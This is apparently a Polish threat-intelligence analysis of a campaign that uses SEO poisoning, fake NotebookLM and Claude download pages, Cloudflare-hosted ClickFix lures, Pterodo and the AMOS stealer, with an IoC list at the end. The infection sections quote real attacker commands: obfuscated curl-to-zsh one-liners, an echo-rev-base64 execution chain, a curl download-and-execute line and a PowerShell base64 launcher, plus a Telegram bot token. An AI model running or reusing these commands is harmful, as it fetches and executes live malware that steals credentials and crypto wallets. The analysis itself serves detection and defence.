Wieloetapowa kampania malware delivery z wykorzystaniem SEO poisoning i infrastruktury serverless

Analizowana kampania stanowi wieloetapową operację dostarczania złośliwego oprogramowania, opartą na technikach SEO poisoning oraz malvertisingu. Użytkownik trafia na infrastrukturę atakującego poprzez sponsorowane wyniki wyszukiwania lub spreparowane strony imitujące popularne narzędzia. Całość została zaprojektowana w sposób utrudniający zarówno detekcję, jak i analizę powłamaniową.

Początkowo kampania wykorzystywała fałszywe strony związane z NotebookLM, jednak w toku dalszej obserwacji widoczna jest ewolucja w kierunku podszywania się pod narzędzia AI, w szczególności Claude. Trend ten jest spójny z szerszym krajobrazem zagrożeń – narzędzia AI, intensywnie wykorzystywane przez developerów, stały się atrakcyjnym wektorem socjotechnicznym.

Rys. 1a. Strona phishingowa podszywająca się pod NotebookLM.

Rys. 1b. Strona phishingowa podszywająca się pod Claude AI.

W całej kampanii wektor wejścia pozostaje niezmienny: użytkownik wyszukuje narzędzie (np. „Claude Code” lub „NotebookLM download”), a następnie trafia na sponsorowany link prowadzący do strony hostowanej w legalnej infrastrukturze (np. Squarespace, Tilkly lub Bitbucket Pages). Strony te nie zawierają bezpośrednio złośliwego kodu – dopiero interakcja użytkownika inicjuje właściwy łańcuch ataku.

Mechanizm ten odpowiada technice late-stage payload delivery. Jej zastosowanie przynosi kilka kluczowych korzyści z perspektywy atakującego. Wczesne etapy kampanii pozostają „czyste”, co znacząco utrudnia detekcję. Payload może być dostarczany selektywnie, np. w zależności od geolokalizacji, adresu IP czy typu przeglądarki. Dodatkowo możliwa jest dynamiczna rotacja złośliwego oprogramowania bez konieczności modyfikacji infrastruktury wejściowej. W rezultacie analiza incydentu wymaga rekonstrukcji pełnego łańcucha przekierowań i warunków logicznych.

Platformy takie jak Squarespace oraz serwisy pokroju Tilkly są często wykorzystywane przez atakujących na wczesnym etapie kampanii jako element infrastruktury pośredniczącej (tzw. staging lub delivery layer). Umożliwiają one szybkie i anonimowe tworzenie wiarygodnie wyglądających stron bez konieczności utrzymywania własnej infrastruktury.

Dzięki gotowym szablonom i obsłudze HTTPS takie strony mogą skutecznie podszywać się pod legalne usługi lub marki, zwiększając skuteczność phishingu i kampanii malvertisingowych, a jednocześnie utrudniając detekcję – ruch kierowany jest bowiem do domen o dobrej reputacji lub niskim poziomie podejrzeń. Dodatkowo wykorzystanie platform SaaS pozwala atakującym na łatwe rotowanie zasobów, szybkie odtwarzanie infrastruktury po jej zablokowaniu oraz ukrywanie właściwego payloadu za wieloetapowym łańcuchem przekierowań. To znacząco komplikuje analizę i reakcję po stronie zespołów bezpieczeństwa.

W analizowanych przypadkach infrastruktura SaaS wykorzystywana jest jedynie jako nośnik – właściwa strona phishingowa oraz kod znajdują się na zewnętrznym serwerze i są osadzane w iframe (rys. 2).

Rys. 2. Osadzenie kodu ze stroną phishingową.

Wykorzystanie infrastruktury serverless

W drugim etapie kampanii  dostarczania złośliwego oprogramowania atakujący przenieśli infrastrukturę na domeny Cloudflare Workers (workers.dev) oraz Cloudflare Pages (pages.dev). Należą one do ekosystemu Cloudflare i zapewniają serverless hosting oraz dystrybucję treści na globalnej infrastrukturze CDN. Usługi te umożliwiają uruchamianie kodu i publikowanie stron bez własnych serwerów, z automatycznym HTTPS i wysoką reputacją domen. To znacząco zwiększa skuteczność omijania filtrów bezpieczeństwa.

Z perspektywy atakującego kluczowe są: łatwość i szybkość wdrożenia (często bez silnej weryfikacji tożsamości), możliwość dynamicznego generowania odpowiedzi (np. selektywne dostarczanie payloadu zależnie od ofiary), a także trudność w blokowaniu. Ruch kierowany jest do współdzielonej, zaufanej infrastruktury CDN, której organizacje nie mogą łatwo zablokować bez wpływu na legalne usługi. Dodatkowo platformy te sprzyjają krótkotrwałym, rotującym artefaktom (ephemeral infrastructure), co utrudnia analizę śledczą i pozwala szybko odbudowywać kampanię po wykryciu, czyniąc je atrakcyjnym wyborem dla drugiego etapu dostarczania właściwej logiki ataku.

W analizowanym przypadku Workers pełni również funkcję selektora platformy, realizując prosty fingerprinting na podstawie User-Agent i kierując użytkownika do odpowiedniej ścieżki infekcji.

ClickFix jako mechanizm wykonania

Kolejny etap polega na wyświetleniu użytkownikowi instrukcji przypominającej technikę ClickFix. Nakłaniany jest on do uruchomienia wiersza poleceń i wykonania komendy, która została wcześniej automatycznie skopiowana do schowka. Zależnie od systemu operacyjnego (Windows lub macOS) prezentowane są różne warianty poleceń.

Rys. 3. Osadzenie install-modal.js.

Centralnym elementem logiki strony jest plik install-modal.js, który stanowi istotny artefakt korelacyjny pomiędzy kampaniami (Rys. 3) – występuje w niemal niezmienionej postaci w kolejnych kampaniach. Skrypt z rysunku 3 ujawnia również interesujące komentarze jego twórcy.

Funkcja get_commands deleguje wykonanie do modułu connector_bg.wasm, który posiada dostęp do mechanizmów takich jak fetch, localStorage, userAgent czy crypto.getRandomValues. Oznacza to, że właściwa logika generowania komend została ukryta poza warstwą JavaScript (pobierana dynamicznie z C2). W kodzie widoczne są również elementy anti-analysis, takie jak pomiar czasu wykonania, co może służyć do wykrywania środowisk sandboxowych lub debuggerów.

W nowszych wariantach kampanii (Claude AI) zrezygnowano z tej złożoności. Komendy są dostępne bezpośrednio w kodzie, co wskazuje na iteracyjne dostosowywanie technik do skuteczności operacyjnej.

Rys. 4a. Kluczowy kod odpowiedzialny za dostarczenie polecenia (wariant ”NotebookLM”).

Rys. 4b. Kluczowy kod odpowiedzialny za dostarczenie polecenia (wariant ”Claude AI”).

Ścieżka infekcji – Windows

Wariant Windows wykorzystuje technikę Living-off-the-Land poprzez mshta. Pozwala ona na wykonanie zdalnego zasobu bez klasycznego zapisu pliku na dysku.  W praktyce oznacza to, że payload może być dostarczony jako HTA lub dynamicznie generowany JavaScript/VBScript. Zastosowane domeny (np. stylizowane na repozytoria wersji) zwiększają wiarygodność infrastruktury. Łańcuch infekcji jest stosunkowo prosty – plik HTA lub skrypt jest pobierany i wykonywany bezpośrednio przez mshta.

Rys. 5. Instalacja malware (góra – wariant ”NotebookLM”, dół – wariant ”Claude AI”).

Finalnym payloadem jest plik claude.mp3, będący przykładem pliku poliglotycznego. Zawiera on metadane wskazujące na plik audio, podczas gdy rzeczywista zawartość to ukryty skrypt VBA.

Rys. 6. Metadane pliku claude.mp3.

Rys. 7. Kluczowy fragment pliku claude.mp3.

Po jego uruchomieniu wykonywany jest PowerShell z payloadem zakodowanym w Base64.

cmd /v:on /c "set x=pow&&set y=ershell&&call %windir%\SysWOW64\WindowsPowerShell\v1.0\!x!!y! -E  [base64_payload]"

W dalszym kroku, po zdekodowaniu zawartości ukrytej przy pomocy base64 otrzymujemy kod, który jest wykonywany.

Rys. 8. Zdekodowany powershell odpowiadający za pobranie malware.

Skrypt generuje identyfikator ofiary na podstawie nazwy hosta i użytkownika (hash MD5), który następnie wykorzystywany jest w komunikacji z serwerem C2.

Dalsze etapy obejmują wyłączenie walidacji TLS, implementację niestandardowego mechanizmu dekodowania (wariacja RC4) oraz wykonanie AMSI bypass poprzez patchowanie pamięci. Końcowy payload pobierany jest dynamicznie i wykonywany w pamięci (IEX), co wpisuje się w model late-stage delivery.

Efektem końcowym jest instalacja RAT Pterodo.

Ścieżka infekcji – macOS

Wariant macOS jest znacząco bardziej zaawansowany. W początkowej wersji wykorzystuje kombinację curl, tr oraz pipe do zsh, gdzie translacja znaków pełni funkcję lekkiej obfuskacji. Po dekodowaniu ujawnia się komunikacja z API Telegram, które pełni rolę kanału C2 lub repozytorium danych.

curl -sfkSL $(echo 't55subhh31:7/9f1m9oyh9012hv4/93e68prd6fplafccv4crdcfffrd8d3r6lea8c4r4f8r/8/.8pvcr.ped493pr'|tr 'mh6.dp4vr8lebfc93/at2yos1u507:' './0123456789:abcdefhlmoprstuvy')|zsh

Kod dekoduje się do API Telegram:

hxxps://api.telegram[.]org/bot6529184364:AAEdwM7o7w1Z5XJxQf5H2tHkVfV1mX2QeQ/getUpdates

Wykorzystanie API Telegrama jest coraz częściej obserwowaną techniką w kampaniach malware, ponieważ ruch do Telegrama jest często traktowany jako zaufany i rzadziej blokowany.

W nowszych wariantach (powiązanych z motywem Claude AI) Telegram został zastąpiony dedykowaną infrastrukturą HTTP. Zastosowano klasyczny łańcuch echo → rev → base64 → zsh, umożliwiający ukrycie właściwej komendy (payload jest najpierw zakodowany w base64, następnie odwrócony (rev), a na końcu dekodowany i bezpośrednio wykonywany w powłoce.). Taki zabieg pozwala ukryć właściwą komendę przed prostą analizą statyczną i omija część mechanizmów detekcji opartych o sygnatury.

Po dekodowaniu ujawnia się właściwe wywołanie curl, które z użyciem flag takich jak -sLSkf (ciche działanie, podążanie za przekierowaniami, ignorowanie błędów TLS) pobiera i natychmiast wykonuje zdalny skrypt przez zsh.

echo "Downloading Claude: https://claude.ai/install.sh" && echo 'oNne8diYyAzMmlzY1UjN1UWYlNWOygDO4UjZ4QmM3QzYxQDMldTY4IjYkZjN3IDNkFmM1UjMjBjN5kDZyUTOwIDM3IDZvwmc1N2Lt92YuoXdtNHck9yL6MHc0RHanAiIuBjayYGNgojUtglIggULgY2aTx0ctACbncic1NGI7AiO' | rev | base64 -D | zsh

Wykonywane jest polecenie

: ; cur''l -sLSkf -H "X-R: 4f2j0n" 'hxxps://dpsmuz[.]com/curl/d27020952d9960c2552ad42766db28a7e041c472d8f588829ceae5655c9f302b'|zsh

Interesującym elementem jest wykorzystanie niestandardowego nagłówka HTTP (X-R), który działa jako mechanizm kontroli dostępu – tylko odpowiednio spreparowane zapytania otrzymują payload.  A jest to:

#!/bin/zsh

kkacfo=$(base64 -D <<'PAYLOAD_END' | bunzip2

QlpoOTFBWSZTWebehlEAAAhZgAAQaQuAUD5n3lAgAGoahqbUNqNHqeoyaZBKp6jQemppoNMjTSqvCrBtbtUov2lByB2Gn1YD0wLO+XnPw6TVDvQDAGcElr3QHq8F9+aPUEC1QWULr0dx4lmDIiRImO5R/F3JFOFCQ5t6GUQ=

PAYLOAD_END

)

eval "$kkacfo"

W wyniku wykonania tego kodu mamy

#!/bin/zsh

curl -o /tmp/helper https://dpsmuz.com/n8n/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper

Finalny etap prowadzi do pobrania i uruchomienia pliku helper.

Analiza próbki dla MacOS

Mamy do czynienia z zaawansowanym wieloetapowym loaderem przeznaczonym dla systemu macOS. Został on dostarczony jako uniwersalny binarny plik Mach-O, obsługujący zarówno architekturę x86_64, jak i arm64 (plik macOS Universal Binary (FAT) posiada dwa slice’y: x86_64 i arm64). Konstrukcja binarki wskazuje jednoznacznie, że nie jest to samodzielna aplikacja, lecz komponent bootstrapujący odpowiedzialny wyłącznie za rekonstrukcję i uruchomienie właściwego kodu w pamięci. Główna funkcja stanowi jedynie sekcję sterującą, natomiast większość logiki została przeniesiona do rozproszonych struktur danych ukrytych w segmentach __TEXT.__const oraz __DATA_CONST.__const.

Dane wejściowe dla procesu dekodowania zostały podzielone na 37 odrębnych części (chunków), które pełnią różne role w trakcie przetwarzania. Część z nich zawiera materiał klucza kryptograficznego, inne stanowią zaszyfrowane fragmenty kolejnych etapów payloadu, a pozostałe pełnią funkcję metadanych sterujących przepływem dekodowania. Taka struktura nie tylko komplikuje statyczną analizę, ale również wymusza pełną rekonstrukcję w analizie dynamicznej, ponieważ zależności pomiędzy „chunkami” ujawniają się dopiero w trakcie wykonywania kolejnych etapów kodu.

Klucz kryptograficzny nie jest przechowywany w postaci jawnej, lecz rekonstruowany dynamicznie z czterech dedykowanych fragmentów, a następnie poddawany szeregowi transformacji XOR, w tym operacjom z wartościami 0x34 oraz 0x8e. W efekcie powstaje ograniczony alfabet składający się z 16 znaków, który jest wykorzystywany przez niestandardowy dekoder implementujący własną wariację base64. Mechanizm ten operuje na poziomie 6-bitowego mapowania symboli i ręcznie zarządzanego akumulatora bitowego, co pozwala na rekonstrukcję oryginalnych danych bez użycia systemowych bibliotek kryptograficznych.

Centralnym elementem architektury jest funkcja dekodująca realizująca transformację strumienia danych poprzez mapowanie znaków klucza na indeksy oraz składanie ich w bajty wyjściowe za pomocą operacji przesunięć bitowych. Każdy etap wykonania wykorzystuje inny zestaw „chunków” oraz inną funkcję transformacyjną, obejmującą operacje XOR, NOT, arytmetykę zależną od stanu oraz proste mechanizmy sprzężenia zwrotnego. W rezultacie powstaje wielowarstwowy system przekształceń, który przypomina uproszczony, niestandardowy szyfr strumieniowy, mimo że jego implementacja nie ma właściwości kryptograficznych w sensie formalnym.

Proces wykonania końcowego payloadu jest szczególnie istotny z punktu widzenia analizy behawioralnej. Zamiast zapisu danych na dysku lub uruchomienia klasycznego binarnego modułu Mach-O, malware konstruuje finalny payload tekstowy, który następnie przekazywany jest bezpośrednio do interpretera /bin/zsh poprzez mechanizm pipe i fork. Oznacza to, że cały końcowy etap wykonania odbywa się w pamięci, bez generowania trwałych artefaktów systemowych, co znacząco utrudnia analizę powłamaniową i detekcję opartą na systemie plików.

Całość łańcucha ataku wskazuje na projekt typu in-memory loader, którego głównym celem jest rekonstrukcja i uruchomienie ukrytego payloadu w sposób maksymalnie utrudniający analizę statyczną oraz detekcję sygnaturową. Brak mechanizmów persystencji wynika z tego, iż próbka funkcjonuje jako komponent wcześniejszego etapu infekcji.

Całość prowadzi do uruchomienia malware z rodziny AMOS (Atomic macOS Stealer).

Analiza malware AMOS

Mimo, że główny rdzeń malware AMOS skompilowany jest w języku Go, do bezpośredniej interakcji z systemem ofiary wykorzystuje rozbudowane skrypty AppleScript. Analiza takiego skryptu (po wyekstrahowaniu w trakcie analizy dynamicznej) pozwala na precyzyjne określenie sposobu działania w systemie operacyjnym. pozwala na natywne

I tak, już na etapie inicjalizacji widoczna jest próba ukrycia kontekstu wykonania – skrypt zamyka proces Terminala, co sugeruje scenariusz uruchomienia poprzez łańcuch typu dropper → shell → osascript. Następnie definiowana jest infrastruktura pomocnicza obejmująca operacje na plikach, katalogach oraz logowanie zdarzeń do lokalnego katalogu roboczego tworzonego dynamicznie w /tmp (np. /tmp/shub_<losowy_id>/). Mechanizm ten pełni rolę pośredniego obszaru (staging area) dla danych przeznaczonych do eksfiltracji.

Rys. 9. Fragment kodu Apple Script uruchamiany w ramach infekcji AMOS Stealer’em.

Kluczowym elementem wczesnej fazy działania jest pozyskanie poświadczeń użytkownika. Skrypt wykorzystuje polecenie dscl.authonly, które pozwala na bezpośrednią walidację hasła lokalnego konta systemowego bez konieczności eskalacji uprawnień. W przypadku, gdy konto nie wymaga hasła, malware podejmuje próbę pozyskania sekretów z systemowego magazynu kluczy poprzez narzędzie security, celując m.in. w wpisy związane z przeglądarką Chrome. Jeżeli wymagane jest hasło, użytkownik jest wielokrotnie (do dziesięciu prób) proszony o jego podanie za pomocą spreparowanego okna dialogowego stylizowanego na komponent systemowy „System Preferences”. Mechanizm ten łączy socjotechnikę z natywną walidacją, zapewniając wysoką skuteczność pozyskiwania poprawnych danych uwierzytelniających.

Równolegle realizowana jest faza rozpoznania środowiska. Skrypt zbiera informacje o nazwie hosta, wersji systemu operacyjnego, nazwie użytkownika oraz zewnętrznym adresie IP (pozyskiwanym poprzez zapytania HTTP do publicznych usług). Dodatkowo analizowane są ustawienia klawiatury w celu identyfikacji potencjalnego pochodzenia geograficznego ofiary – obecność układu rosyjskiego skutkuje oznaczeniem systemu jako należącego do regionu CIS. Dane te są następnie wykorzystywane w komunikacji z serwerem C2.

Istotnym wyróżnikiem próbki jest rozbudowany mechanizm telemetrii. Malware komunikuje się z endpointem API, raportując kolejne etapy działania, takie jak rozpoczęcie wykonania, wynik pozyskiwania hasła czy postęp kolekcji danych. Każde zdarzenie zawiera zestaw metadanych, w tym identyfikator builda oraz fingerprint systemu ofiary. Wskazuje to na wykorzystanie zaplecza operatorskiego umożliwiającego monitorowanie kampanii w czasie rzeczywistym oraz potencjalne zarządzanie wieloma wariantami malware.

Jak działa AMOS

Główna funkcjonalność tego złośliwego oprogramowania obejmuje szeroki zakres aplikacji i artefaktów. Dla przeglądarek opartych na Chromium malware iteruje po profilach użytkownika, kopiując bazy danych zawierające cookies, zapisane loginy oraz dane formularzy. Dodatkowo analizowane są katalogi rozszerzeń, co pozwala na selektywne pozyskiwanie danych z popularnych wtyczek, w tym portfeli kryptowalutowych. Analogiczne działania prowadzone są wobec przeglądarek z rodziny Gecko (Firefox), gdzie przejmowane są pliki takie jak logins.json czy key4.db, umożliwiające odszyfrowanie zapisanych poświadczeń.

Szczególny nacisk położono na kradzież danych związanych z kryptowalutami. Malware zawiera rozbudowaną listę identyfikatorów rozszerzeń przeglądarkowych odpowiadających popularnym portfelom, co pozwala na precyzyjne targetowanie danych takich jak seed phrase czy klucze prywatne. Równolegle przeszukiwane są katalogi lokalnych aplikacji portfelowych (m.in. Exodus, Electrum, Atomic, Wasabi), a ich zawartość kopiowana jest z zastosowaniem limitów wielkości, aby zoptymalizować proces eksfiltracji.

Dodatkowe moduły obejmują kradzież sesji komunikatora Telegram poprzez kopiowanie katalogu tdata, pozyskiwanie zawartości systemowego Keychain oraz danych kont iCloud. Funkcja Filegrabber rozszerza zakres działania o dokumenty użytkownika, przeszukując katalogi Desktop i Documents pod kątem plików o określonych rozszerzeniach, przy jednoczesnym ograniczeniu rozmiaru i liczby kopiowanych danych.

Po zakończeniu fazy zbierania danych malware kompresuje zgromadzone artefakty do archiwum ZIP, wykorzystując narzędzie ditto. W zależności od rozmiaru paczki stosowany jest mechanizm jednorazowego przesyłu lub fragmentacji na mniejsze części (chunking), co pozwala ominąć ograniczenia transferowe i zwiększyć niezawodność eksfiltracji. Transfer realizowany jest poprzez żądania HTTP POST do dedykowanego endpointu, wraz z dodatkowymi parametrami identyfikującymi ofiarę oraz stan kompromitacji.

Jednym z najbardziej zaawansowanych elementów analizowanego kodu jest mechanizm ingerencji w zainstalowane aplikacje portfeli kryptowalutowych. W przypadku wykrycia określonych aplikacji malware pobiera z serwera C2 zmodyfikowane archiwa app.asar, które następnie podmienia w katalogach aplikacji. Proces ten obejmuje zatrzymanie aplikacji, skopiowanie jej struktury, podmianę komponentów oraz ponowne podpisanie binariów przy użyciu lokalnego podpisu ad-hoc. W efekcie uzyskiwana jest trwała kompromitacja aplikacji portfelowej, umożliwiająca dalsze przechwytywanie danych użytkownika.

Trwałość w systemie realizowana jest poprzez utworzenie fałszywej aplikacji aktualizacyjnej w katalogu przypominającym komponenty Google oraz zarejestrowanie LaunchAgenta uruchamianego cyklicznie co 60 sekund. Agent ten komunikuje się z serwerem C2, pobierając zakodowane w Base64 polecenia, które następnie wykonywane są lokalnie. Mechanizm ten przekształca malware w lekki implant typu backdoor, umożliwiający operatorowi zdalne wykonywanie dowolnego kodu na skompromitowanym systemie.

Całość działania kończy się usunięciem artefaktów tymczasowych w celu utrudnienia analizy powłamaniowej. Jednakże ustanowienie opisanej wyżej trwałości (persystencji) oraz potencjalnie zmodyfikowanych aplikacji sprawia, że kompromitacja systemu ma charakter długotrwały i wykracza poza jednorazową kradzież danych.

Podsumowanie

Analizowana kampania stanowi przykład dojrzałej operacji malware delivery, w której kluczową rolę odgrywa wykorzystanie zaufanej infrastruktury SaaS oraz serverless. Połączenie SEO poisoning, ClickFix oraz late-stage payload delivery pozwala skutecznie omijać mechanizmy detekcji i utrudnia analizę.

Widoczna jest wyraźna ewolucja technik – od złożonych mechanizmów ukrywania logiki (WASM, Telegram) do bardziej bezpośrednich, ale nadal skutecznych metod dystrybucji payloadu. Wskazuje to na ciągłe dostosowywanie kampanii do warunków operacyjnych i reakcji obrońców.

Szczególnie istotne jest wykorzystanie współdzielonej infrastruktury (Cloudflare, Squarespace), która znacząco utrudnia blokowanie oraz rosnąca rola socjotechniki opartej na narzędziach AI.

Techniki MITRE ATT&CK

IoC

Landing Pages (SaaS / phishing layer)

notebooklm.squarespace[.]com
notebooklm-last-version.squarespace[.]com
notebooklm-new-ver.squarespace[.]com
notebooklm-update-version.squarespace[.]com
notebooklm-version-upd.squarespace[.]com
claude-code-learn.tilkly[.]com
claude-code-page.bitbucket[.]io
iina-technical[.]com

ClickFix / staging (Cloudflare Workers & Pages)

load-notebooklm.google-mac-app.workers[.]dev
atlapp.pages[.]dev
bsbdsbs.pages[.]dev
claude-code-info.pages[.]dev
claude-code-main.pages[.]dev
claudepage.pages[.]dev
cursor-download-center.pages[.]dev
fdfwasrgwrhfdgvwr.pages[.]dev
hb8uu38hbx872bv28dbh29.pages[.]dev
man-5klfdsk134k13412-note.pages[.]dev
nhb227nbx872bd6723g4d.pages[.]dev
not-9rw.pages[.]dev
noteapp-d01.pages[.]dev
notebooklm-google-app.pages[.]dev
notebooklm-page.pages[.]dev
notegamskardas.pages[.]dev
noteklmgoodk.pages[.]dev
notembkasjokk.pages[.]dev
sceqdsxcqdfcd.pages[.]dev
uih9ehfbhdbfqudbfidfcikqhnegf.pages[.]dev
lingering-river-05fent.johnson-joseph85.workers[.]dev

Malware Delivery / C2 Infrastructure

download-version.1-8-3[].com
download.version-516[.]com
dpsmuz[.]com
oakenfjrod[.]ru

URL (payload delivery / C2)

https://download-version.1-8-3[.]com/notebooklm
https://download.version-516[.]com/claude
https://dpsmuz[.]com/curl/d27020952d9960c2552ad42766db28a7e041c472d8f588829ceae5655c9f302b
https://dpsmuz[.]com/n8n/update
https://[MD5(victim_ID)].oakenfjrod[.]ru/cloude-91267b64-989f-49b4-89b4-984e0154d4d1
https://api.telegram[.]org/bot6529184364:AAEdwM7o7w1Z5XJxQf5H2tHkVfV1mX2QeQ/getUpdates

Pliki (payload)

Windows
Nazwa: claude.mp3
SHA256: 1df4207e9ad772c0ef96e35a2756626b4af5065f1296bfb7b0520695d4200350
Typ: polyglot (MP3 + VBA → PowerShell loader)

macOS
Nazwa: helper
SHA256: c8fd1222c3f70f91c401b008711629bf053874dfec315a48758a032acd114b1a
Typ: Mach-O Universal Binary (loader, in-memory execution)